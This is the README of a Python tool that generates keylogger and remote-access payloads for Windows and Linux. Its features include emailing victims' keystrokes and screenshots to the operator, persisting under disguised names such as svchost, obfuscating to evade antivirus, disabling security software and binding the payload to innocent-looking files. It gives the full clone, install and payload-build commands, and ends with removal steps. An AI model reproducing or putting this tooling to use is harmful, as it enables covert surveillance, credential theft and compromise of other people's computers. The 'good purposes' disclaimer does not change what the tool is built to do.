This small python script can do really awesome work.
TechNowLogger is Keylogger Generator for Windows/Linux, which sends key-logs & screenshot via email with other juicy target info written in Python 3.
💻 This project was created only for good purposes and personal use.
THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.
- Works on Windows/Linux
- Notify New Victim Via Email
- Undetectable
- Persistence
- Sends Screenshot of Victim PC's Screen via email
- Creates Executable Binary With Zero Dependencies
- Create less size ~ 5mb payload with advance functionality
- Obfusticate the Payload before Generating it, hence Bypassing few more antivirus
- Generated Payload is Encryted with base64, hence makes extremely difficult to reverse engineer the payload
- Function to Kill Antivirus on Victim PC and tries to disable the security
- Awesome Colourful Interface to generate payload
- On Attacker Side: While Creating Payload, Script Automatically Detects Missing Dependencies & Installs Them
- Distinguish Log Data on the Basics of Active Window Name (Check v1.3 Image for Better Understanding)
- Able to add custom Icon to evil file (New Argument is Added in v1.3 & onward version)
- Built-in Binder which can bind Keylogger to Any File [.pdf, .txt, .exe etc], Running legitimate file on front end & evil codes in back-end as a service. (New Argument is Added in v1.4 & onward version)
- Checks for Already Running Instance on System, If running instance found, then only legitimate file is executed [Multiple Instance Prohibiter to avoid Same Muliple Logs Email].
- Attacker can Create/Compile for Both Windows/Linux OS Using Linux System, But Can only Create/Compile Windows Executable using Windows Machine
- Python 3.X
- Few External Modules
# Navigate to the /opt directory (optional)
$ cd /opt/
# Clone this repository
$ git clone https://github.com/Technowlogy-Pushpender/technowlogger.git
# Navigate to technowlogger folder
$ cd technowlogger
# Installing dependencies
$ bash installer_linux.sh
$ chmod +x technowgen.py
$ ./technowgen.py --help or python technowgen.py --help
# Making Payload/RAT
$ python technowgen.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico
# Install dependencies
$ Install latest python 3.x
# Clone this repository
$ git clone https://github.com/Technowlogy-Pushpender/technowlogger.git
# Go into the repository
$ cd technowlogger
# Installing dependencies
$ python -m pip install -r requirements.txt
# Open technowgen.py in Text editor and Configure Line 12 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
# Getting Help Menu
$ python technowgen.py --help
# Making Payload/RAT
$ python technowgen.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico
- Run updater.py to Update Autmatically or Download the latest Zip from this GitHub repo
- Note: Git Must be Installed in order to use updater.py
- Optional Arguments
Short Hand | Full Hand | Description |
---|---|---|
-h | --help | show this help message and exit |
-i INTERVAL | --interval INTERVAL | Time between reports in seconds. default=120 |
-t TIME_PERSISTENT | --persistence TIME_PERSISTENT | Becoming Persistence After __ seconds. default=10 |
-w | --windows | Generate a Windows executable. |
-l | --linux | Generate a Linux executable. |
-b file.txt | --bind LEGITIMATE_FILE_PATH.pdf | AutoBinder : Specify Path of Legitimate file. |
- Required Arguments
Short Hand | Full Hand | Description |
---|---|---|
--icon ICON | Specify Icon Path, Icon of Evil File [Note : Must Be .ico] | |
-e EMAIL | --email EMAIL | Email address to send reports to. |
-p PASSWORD | --password PASSWORD | Password for the email address given in the -e argument. |
-o OUT | --out OUT | Output file name. |
- Go to start, type regedit and run the first program, this will open the registry editor.
- Navigate to the following path Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run There should be an entry called svchost, right click this entry and select Delete.
- Go to your user path > AppData > Roaming, you’ll see a file named “svchost.exe”, this is the RAT, right click > Delete.
- Restart the System.
- Run "RemoveTechnowLogger.bat" in Infected System and then restart the PC to stop the current Running Evil File.
-
Open Autostart file with any text editor, Autostart File Path: ~/.config/autostart/xinput.desktop
-
Remove these 5 lines:
[Desktop Entry] Type=Application X-GNOME-Autostart-enabled=true Name=Xinput Exec="destination_file_name"
-
Note: destination_file_name is that name of evil_file which you gave to your Keylogger using -o parameter
-
Reboot your system and then delete the evil file stored this this below path
-
Destination Path, where Keylogger is stored : ~/.config/xnput
- All Contributors are welcome, this repo needs contributors who will improve this tool to make it best.
- Add New features
- Contribute GUI Version
[email protected] or Contact Us
- PayPal Me, Even 1 dollar of donation would be a great help :)
- PayPal Address: PayPal.me/anonyindia